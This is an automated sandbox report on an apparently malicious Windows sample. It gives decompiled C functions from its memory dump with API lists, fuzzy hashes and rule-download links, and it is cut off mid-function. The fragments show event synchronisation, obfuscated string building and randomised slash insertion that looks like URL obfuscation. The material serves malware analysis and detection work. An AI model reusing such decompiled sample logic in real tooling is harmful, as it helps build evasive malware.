0x0092111f
0x0092111f
0x00921129
0x00921109
0x0092110e
0x00000000
0x00000000
0x00000000
0x0092110e
0x00921133
0x00921136
0x00921139
0x00921140
0x00921140
0x0092114d
0x00000000
0x0092114d
0x00921048
0x0092104c
0x0092104d
0x0092104f
0x00000000
0x00000000
0x00000000
0x0092104f
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 009210C4
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 009210DA
memset.NTDLL ref: 0092117A
memset.NTDLL ref: 0092118A

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: 1a5e70f609bc19ddc738e0e860c5cacf5d2b76a6fcf6edf0c40bfce97a369bce
Instruction ID: 50e0bb238588ca17b44743b2ec9ce6362c14105e4e880c4bfee180792476afd9
Opcode Fuzzy Hash: 1a5e70f609bc19ddc738e0e860c5cacf5d2b76a6fcf6edf0c40bfce97a369bce
Instruction Fuzzy Hash: 4941D971A00269AFDB10DFA8EC41BEE7778FF94310F108529F915A7189DB709D69CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0092A9AB, Relevance: 6.1, APIs: 4, Instructions: 126stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000008,74B04D40), ref: 0092A9BD

Part of subcall function 00922049: RtlAllocateHeap.NTDLL(00000000,00000000,00927E50), ref: 00922055

ResetEvent.KERNEL32(?), ref: 0092AA31
GetLastError.KERNEL32 ref: 0092AA54
GetLastError.KERNEL32 ref: 0092AAFF

Part of subcall function 00929039: HeapFree.KERNEL32(00000000,00000000,00927F18,00000000,?,?,00000000), ref: 00929045

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
String ID:
API String ID: 943265810-0
Opcode ID: d55881ed0c3efc91c348d85d26751592fbbdc774308ba1cf104e0de23cb8a77a
Instruction ID: 68864f347f5eb808cf845046e4ba17f132ba12dd69af7d1383595b93cf55dfcc
Opcode Fuzzy Hash: d55881ed0c3efc91c348d85d26751592fbbdc774308ba1cf104e0de23cb8a77a
Instruction Fuzzy Hash: 1B41B172500204BFDB349FA6EC48E6F7BBEEF85700F104929F142E14A5E7719985DB21

Uniqueness

Uniqueness Score: -1.00%

Function 009239BF, Relevance: 6.1, APIs: 4, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E009239BF(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				intOrPtr _t36;
				intOrPtr* _t37;
				intOrPtr* _t39;
				void* _t53;
				long _t58;
				void* _t59;

				_t53 = __ecx;
				_t59 = __eax;
				_t58 = 0;
				ResetEvent( *(__eax + 0x1c));
				_push( &_v8);
				_push(4);
				_push( &_v20);
				_push( *((intOrPtr*)(_t59 + 0x18)));
				if( *0x92d134() != 0) {
					L5:
					if(_v8 == 0) {
						 *((intOrPtr*)(_t59 + 0x30)) = 0;
						L21:
						return _t58;
					}
					 *0x92d168(0, 1,  &_v12);
					if(0 != 0) {
						_t58 = 8;
						goto L21;
					}
					_t36 = E00922049(0x1000);
					_v16 = _t36;
					if(_t36 == 0) {
						_t58 = 8;
						L18:
						_t37 = _v12;
						 *((intOrPtr*)( *_t37 + 8))(_t37);
						goto L21;
					}
					_push(0);
					_push(_v8);
					_push( &_v20);
					while(1) {
						_t39 = _v12;
						_t56 =  *_t39;
						 *((intOrPtr*)( *_t39 + 0x10))(_t39);
						ResetEvent( *(_t59 + 0x1c));
						_push( &_v8);
						_push(0x1000);
						_push(_v16);
						_push( *((intOrPtr*)(_t59 + 0x18)));
						if( *0x92d134() != 0) {
							goto L13;
						}
						_t58 = GetLastError();
						if(_t58 != 0x3e5) {
							L15:
							E00929039(_v16);
							if(_t58 == 0) {
								_t58 = E00927A07(_v12, _t59);
							}
							goto L18;
						}
						_t58 = E00921C47( *(_t59 + 0x1c), _t56, 0xffffffff);
						if(_t58 != 0) {
							goto L15;
						}
						_t58 =  *((intOrPtr*)(_t59 + 0x28));
						if(_t58 != 0) {
							goto L15;
						}
						L13:
						_t58 = 0;
						if(_v8 == 0) {
							goto L15;
						}
						_push(0);
						_push(_v8);
						_push(_v16);
					}
				}
				_t58 = GetLastError();
				if(_t58 != 0x3e5) {
					L4:
					if(_t58 != 0) {
						goto L21;
					}
					goto L5;
				}
				_t58 = E00921C47( *(_t59 + 0x1c), _t53, 0xffffffff);
				if(_t58 != 0) {
					goto L21;
				}
				_t58 =  *((intOrPtr*)(_t59 + 0x28));
				goto L4;
			}

0x009239bf
0x009239ce
0x009239d3
0x009239d5
0x009239da
0x009239db
0x009239e0
0x009239e1
0x009239ec
0x00923a1d
0x00923a22
0x00923ae5
0x00923ae8
0x00923aee
0x00923aee
0x00923a2f
0x00923a37
0x00923ae2
0x00000000
0x00923ae2
0x00923a42
0x00923a49
0x00923a4c
0x00923ad4
0x00923ad5
0x00923ad5
0x00923adb
0x00000000
0x00923adb
0x00923a52
0x00923a54
0x00923a5a
0x00923a5b
0x00923a5b
0x00923a5e
0x00923a61
0x00923a67
0x00923a6c
0x00923a6d
0x00923a72
0x00923a75
0x00923a80
0x00000000
0x00000000
0x00923a88
0x00923a90
0x00923ab9
0x00923abc
0x00923ac3
0x00923ace
0x00923ace
0x00000000
0x00923ac3
0x00923a9c
0x00923aa0
0x00000000
0x00000000
0x00923aa2
0x00923aa7
0x00000000
0x00000000
0x00923aa9
0x00923aa9
0x00923aae
0x00000000
0x00000000
0x00923ab0
0x00923ab1
0x00923ab4
0x00923ab4
0x00923a5b
0x009239f4
0x009239fc
0x00923a15
0x00923a17
0x00000000
0x00000000
0x00000000
0x00923a17
0x00923a08
0x00923a0c
0x00000000
0x00000000
0x00923a12
0x00000000

APIs

ResetEvent.KERNEL32(?), ref: 009239D5
GetLastError.KERNEL32 ref: 009239EE

Part of subcall function 00921C47: WaitForMultipleObjects.KERNEL32(00000002,0092AA72,00000000,0092AA72,?,?,?,0092AA72,0000EA60), ref: 00921C62

ResetEvent.KERNEL32(?), ref: 00923A67
GetLastError.KERNEL32 ref: 00923A82

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorEventLastReset$MultipleObjectsWait
String ID:
API String ID: 2394032930-0
Opcode ID: 828c8245fb735a5dad288b239d183e2aa3b6dc49a72870280b48ff2c4e2e9be4
Instruction ID: e5ec0bffadcb35bd9ce9c7376eb0b69a66dded5e428f3b88c07d298ab3fe8759
Opcode Fuzzy Hash: 828c8245fb735a5dad288b239d183e2aa3b6dc49a72870280b48ff2c4e2e9be4
Instruction Fuzzy Hash: 5931B532A00614ABCB21DBE4EC44F6E77BDAF94360F208578E595E7194E734EA45DB10

Uniqueness

Uniqueness Score: -1.00%

Function 009242EA, Relevance: 6.1, APIs: 4, Instructions: 95
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E009242EA(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				void* _t26;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x92d270; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x92d27c; // 0x298a5a8
				_t3 = _t8 + 0x92e862; // 0x61636f4c
				_t25 = 0;
				_t30 = E00927A9A(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x92d2a8, 1, 0, _t30);
					E00929039(_t30);
				}
				_t12 =  *0x92d25c; // 0x2000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E0092757F() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E0092205E(_t32, _t26);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0x92d0f0( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E0092A501(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

0x009242eb
0x009242f2
0x009242fc
0x00924300
0x00924306
0x00924315
0x0092431c
0x00924320
0x00924332
0x00924334
0x00924334
0x00924339
0x00924340
0x00924395
0x00924395
0x0092439b
0x0092439d
0x0092439d
0x009243a7
0x009243ab
0x009243bd
0x009243bd
0x009243c1
0x009243c7
0x009243c7
0x00000000
0x00924359
0x0092435e
0x00924366
0x00924368
0x0092436c
0x0092436c
0x00924379
0x0092437d
0x00924381
0x009243d6
0x009243dc
0x009243dc
0x0092438f
0x00924393
0x009243ca
0x009243cc
0x009243cf
0x009243cf
0x00000000
0x009243cc
0x00924393
0x00000000
0x0092437d

APIs

Part of subcall function 00927A9A: lstrlen.KERNEL32(009223E9,00000000,00000000,00000027,00000005,00000000,00000000,009296DA,74666F53,00000000,009223E9,0092D00C,?,009223E9), ref: 00927AD0
Part of subcall function 00927A9A: lstrcpy.KERNEL32(00000000,00000000), ref: 00927AF4
Part of subcall function 00927A9A: lstrcat.KERNEL32(00000000,00000000), ref: 00927AFC

CreateEventA.KERNEL32(0092D2A8,00000001,00000000,00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,00923CA0,?,00000001,?), ref: 0092432B

Part of subcall function 00929039: HeapFree.KERNEL32(00000000,00000000,00927F18,00000000,?,?,00000000), ref: 00929045

WaitForSingleObject.KERNEL32(00000000,00004E20,00923CA0,00000000,00000000,?,00000000,?,00923CA0,?,00000001,?,?,?,?,00926880), ref: 00924389
WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,00000001,?,00000000,?,00923CA0,?,00000001,?), ref: 009243B7
CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,00923CA0,?,00000001,?,?,?,?,00926880), ref: 009243CF

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID:
API String ID: 73268831-0
Opcode ID: bd58be82e9c32859ebcf02cbbb7d2962cde82c62609269123cabf377b82411be
Instruction ID: 3105c34ae541cee6a7c182eaac720172b754de4a41be025f8353f7d24e02a86a
Opcode Fuzzy Hash: bd58be82e9c32859ebcf02cbbb7d2962cde82c62609269123cabf377b82411be
Instruction Fuzzy Hash: 7321F373551231EBDB31AFA8BD44B6F73ADEB88710F150215F956EB158DB71CC028690

Uniqueness

Uniqueness Score: -1.00%

Function 0092A0B2, Relevance: 6.1, APIs: 4, Instructions: 92
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E0092A0B2(void* __ecx, void* __esi) {
				char _v8;
				long _v12;
				char _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				intOrPtr _t58;
				void* _t59;
				intOrPtr* _t60;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				_t60 =  *0x92d144; // 0x92ad81
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_push( &_v16);
						_push( &_v8);
						_push(_t61 + 0x2c);
						_push(0x20000013);
						_push( *((intOrPtr*)(_t61 + 0x18)));
						_v8 = 4;
						_v16 = 0;
						if( *_t60() == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *((intOrPtr*)(_t61 + 0x2c)) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							 *_t60( *((intOrPtr*)(_t61 + 0x18)), 0x16, 0,  &_v8,  &_v16);
							_t58 = E00922049(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								_push( &_v16);
								_push( &_v8);
								_push(_t58);
								_push(0x16);
								_push( *((intOrPtr*)(_t61 + 0x18)));
								if( *_t60() == 0) {
									E00929039(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *((intOrPtr*)(_t61 + 0xc)) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E00921C47( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}

0x0092a0b2
0x0092a0b2
0x0092a0bc
0x0092a0c2
0x0092a0c5
0x0092a0c9
0x0092a0d1
0x0092a0d4
0x0092a0ed
0x0092a0f0
0x0092a0f4
0x0092a0f8
0x0092a0f9
0x0092a0fe
0x0092a101
0x0092a108
0x0092a10f
0x0092a162
0x0092a16b
0x0092a16e
0x0092a1a9
0x0092a1af
0x00000000
0x00000000
0x00000000
0x0092a16e
0x0092a115
0x00000000
0x0092a11c
0x0092a12a
0x0092a12d
0x0092a130
0x0092a13c
0x0092a140
0x0092a1a2
0x0092a142
0x0092a145
0x0092a149
0x0092a14a
0x0092a14b
0x0092a14d
0x0092a154
0x0092a192
0x0092a19d
0x0092a156
0x0092a159
0x0092a15d
0x0092a15d
0x0092a154
0x00000000
0x0092a140
0x0092a115
0x0092a0d9
0x0092a0df
0x0092a0e4
0x0092a0e7
0x00000000
0x00000000
0x00000000
0x0092a177
0x0092a17f
0x0092a186
0x0092a186
0x00000000

APIs

WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,74B481D0), ref: 0092A0C9
SetEvent.KERNEL32(?), ref: 0092A0D9
GetLastError.KERNEL32 ref: 0092A162

Part of subcall function 00921C47: WaitForMultipleObjects.KERNEL32(00000002,0092AA72,00000000,0092AA72,?,?,?,0092AA72,0000EA60), ref: 00921C62

Part of subcall function 00929039: HeapFree.KERNEL32(00000000,00000000,00927F18,00000000,?,?,00000000), ref: 00929045

GetLastError.KERNEL32(00000000), ref: 0092A197

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 602384898-0
Opcode ID: 8c5aaa20dcb78ac2752795f7f94e7cfed9af8f1f6b0346d6400f024a8d9fe571
Instruction ID: b8841bd565dda627053a1e7dd594d41dac69977d3ea42f794b3d158b70344c42
Opcode Fuzzy Hash: 8c5aaa20dcb78ac2752795f7f94e7cfed9af8f1f6b0346d6400f024a8d9fe571
Instruction Fuzzy Hash: 1A311CB6D04318EFDB20DF95DC809AEBBBCEF04350F10496AE542E2156D770AE59DB11

Uniqueness

Uniqueness Score: -1.00%

Function 00923BF1, Relevance: 6.1, APIs: 4, Instructions: 87
sleepCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E00923BF1(void* __ecx, void* __eflags, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E00929763(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t16 =  &(_t39[1]); // 0x5
						_t23 = _t16;
						if( *_t16 != 0) {
							E0092A022(_t23);
						}
					}
					return _t38;
				}
				if(E0092A72D(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x92d2a8, 1, 0,  *0x92d344);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E00928A51(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E009217D5(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E00921F99(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E009242EA( &_v32, _t39);
					goto L13;
				}
			}

0x00923bf1
0x00923bfe
0x00923c04
0x00923c05
0x00923c06
0x00923c07
0x00923c08
0x00923c0c
0x00923c18
0x00923c1c
0x00923ca4
0x00923ca4
0x00923ca7
0x00923ca9
0x00923cb1
0x00923cb1
0x00923cb7
0x00923cba
0x00923cba
0x00923cb7
0x00923cc5
0x00923cc5
0x00923c2f
0x00923c31
0x00923c31
0x00923c48
0x00923c4c
0x00923c4f
0x00923c5a
0x00923c61
0x00923c61
0x00923c6d
0x00923c6e
0x00923c7c
0x00923c70
0x00923c70
0x00923c71
0x00923c72
0x00923c73
0x00923c74
0x00923c75
0x00923c75
0x00923c81
0x00923c86
0x00923c88
0x00923c8a
0x00923c8a
0x00923c91
0x00000000
0x00923c93
0x00923c93
0x00923ca0
0x00000000
0x00923ca0

APIs

CreateEventA.KERNEL32(0092D2A8,00000001,00000000,00000040,00000001,?,74B5F710,00000000,74B5F730,?,?,?,00926880,?,00000001,?), ref: 00923C42
SetEvent.KERNEL32(00000000,?,?,?,00926880,?,00000001,?,00000002,?,?,00922417,?), ref: 00923C4F
Sleep.KERNEL32(00000BB8,?,?,?,00926880,?,00000001,?,00000002,?,?,00922417,?), ref: 00923C5A
CloseHandle.KERNEL32(00000000,?,?,?,00926880,?,00000001,?,00000002,?,?,00922417,?), ref: 00923C61

Part of subcall function 00928A51: WaitForSingleObject.KERNEL32(00000000,?,?,?,00923C81,?,00923C81,?,?,?,?,?,00923C81,?), ref: 00928B2B

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$CloseCreateHandleObjectSingleSleepWait
String ID:
API String ID: 2559942907-0
Opcode ID: 846a2d4680d7ace43f5ad58961c34eec997dfcd45a396e7dd1c262e0715c435e
Instruction ID: 8ccc7c217accc74eba5350c0f9f42ea44a8de2abd4bc044ef65b5760e55772a1
Opcode Fuzzy Hash: 846a2d4680d7ace43f5ad58961c34eec997dfcd45a396e7dd1c262e0715c435e
Instruction Fuzzy Hash: 0B215372D00229ABCF20EFE4A8859EEB77DAF84350B058525FE51B7104D778DE458BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0092788B, Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0092788B(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x92d238, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x92d250; // 0x8484e662
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x92d250 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x00927893
0x00927896
0x0092789c
0x009278b4
0x009278b8
0x009278bb
0x009278bd
0x009278c0
0x009278c2
0x009278c5
0x009278c7
0x009278c7
0x009278c9
0x009278d4
0x009278d9
0x009278ea
0x009278f2
0x009278f7
0x009278fa
0x009278fd
0x009278ff
0x00927905
0x00927908
0x00927908
0x00927908
0x00927913
0x00927918
0x00927922

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,0092839A,00000000,?,?,0092A428,?,032B95B0), ref: 00927896
RtlAllocateHeap.NTDLL(00000000,?), ref: 009278AE
memcpy.NTDLL(00000000,?,-00000008,?,?,?,0092839A,00000000,?,?,0092A428,?,032B95B0), ref: 009278F2
memcpy.NTDLL(00000001,?,00000001), ref: 00927913

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: fde6da47e5dfa409ae1cda77aa5ec4a8ff3719768416429fa10efe232d68ae86
Instruction ID: 981e2308c8de9076eb01aeab85926843e3b5b4d527951934d4e53bf28c8c0552
Opcode Fuzzy Hash: fde6da47e5dfa409ae1cda77aa5ec4a8ff3719768416429fa10efe232d68ae86
Instruction Fuzzy Hash: 8311E972A04214EFC7248FA9EC88E9EBBAEEFC5360B150176F505D7150E7709E05D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00927A9A, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00927A9A(intOrPtr _a4, intOrPtr _a8) {
				char _v20;
				void* _t8;
				void* _t13;
				void* _t16;
				char* _t18;
				void* _t19;

				_t19 = 0x27;
				_t1 =  &_v20; // 0x74666f53
				_t18 = 0;
				E00926B43(_t8, _t1);
				_t16 = E00922049(_t19);
				if(_t16 != 0) {
					_t3 =  &_v20; // 0x74666f53
					_t13 = E009286D8(_t3, _t16, _a8);
					if(_a4 != 0) {
						__imp__(_a4);
						_t19 = _t13 + 0x27;
					}
					_t18 = E00922049(_t19);
					if(_t18 != 0) {
						 *_t18 = 0;
						if(_a4 != 0) {
							__imp__(_t18, _a4);
						}
						__imp__(_t18, _t16);
					}
					E00929039(_t16);
				}
				return _t18;
			}

0x00927aa5
0x00927aa6
0x00927aa9
0x00927aab
0x00927ab6
0x00927aba
0x00927abf
0x00927ac3
0x00927acb
0x00927ad0
0x00927ad8
0x00927ad8
0x00927ae1
0x00927ae5
0x00927aeb
0x00927aee
0x00927af4
0x00927af4
0x00927afc
0x00927afc
0x00927b03
0x00927b03
0x00927b0e

APIs

Part of subcall function 00922049: RtlAllocateHeap.NTDLL(00000000,00000000,00927E50), ref: 00922055

Part of subcall function 009286D8: wsprintfA.USER32 ref: 00928734

lstrlen.KERNEL32(009223E9,00000000,00000000,00000027,00000005,00000000,00000000,009296DA,74666F53,00000000,009223E9,0092D00C,?,009223E9), ref: 00927AD0
lstrcpy.KERNEL32(00000000,00000000), ref: 00927AF4
lstrcat.KERNEL32(00000000,00000000), ref: 00927AFC

Strings

Soft, xrefs: 00927AA6, 00927ABF

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrcatlstrcpylstrlenwsprintf
String ID: Soft
API String ID: 393707159-3753413193
Opcode ID: 6e1aa528344b5bb5241f6cf6dec28c8b45cc0813b67a88a26e61f28a26053db0
Instruction ID: 1790a6e42fa8939b4bce3141cce04126d5a0ad2e68ec88f96938530f82f58bbd
Opcode Fuzzy Hash: 6e1aa528344b5bb5241f6cf6dec28c8b45cc0813b67a88a26e61f28a26053db0
Instruction Fuzzy Hash: F601DF32104229B7CB227BA6BC85AAF7A6CAF80351F044021F90565019DA358A4AC7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00927C61, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00927C61(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}

0x00927c6b
0x00927c6f
0x00927c84
0x00927c88
0x00927c8b
0x00927c91
0x00927c95
0x00927c98
0x00927ca3
0x00927c9a
0x00927c9a
0x00927c9a
0x00927c98
0x00927cb1

APIs

memset.NTDLL ref: 00927C6F
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,74B481D0), ref: 00927C84
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00927C91
CloseHandle.KERNEL32(?), ref: 00927CA3

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: 3b53b18f91f087a11536a9bb5ff26d168af26623d52f00f606f0ff0ef0cd9eae
Instruction ID: 547aee106edce7d8d20ca88f8364d27a3c89482ccb69653224260525b75fe393
Opcode Fuzzy Hash: 3b53b18f91f087a11536a9bb5ff26d168af26623d52f00f606f0ff0ef0cd9eae
Instruction Fuzzy Hash: 78F0F4F5508708BFD7209F66ECC1C2BBBACFB852D9B11492DF04591651D636A8099AB0

Uniqueness

Uniqueness Score: -1.00%

Function 009275E9, Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E009275E9(void** __esi) {
				char* _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t11;
				void* _t12;
				void** _t14;

				_t14 = __esi;
				_t4 =  *0x92d32c; // 0x32b95b0
				__imp__(_t4 + 0x40);
				while(1) {
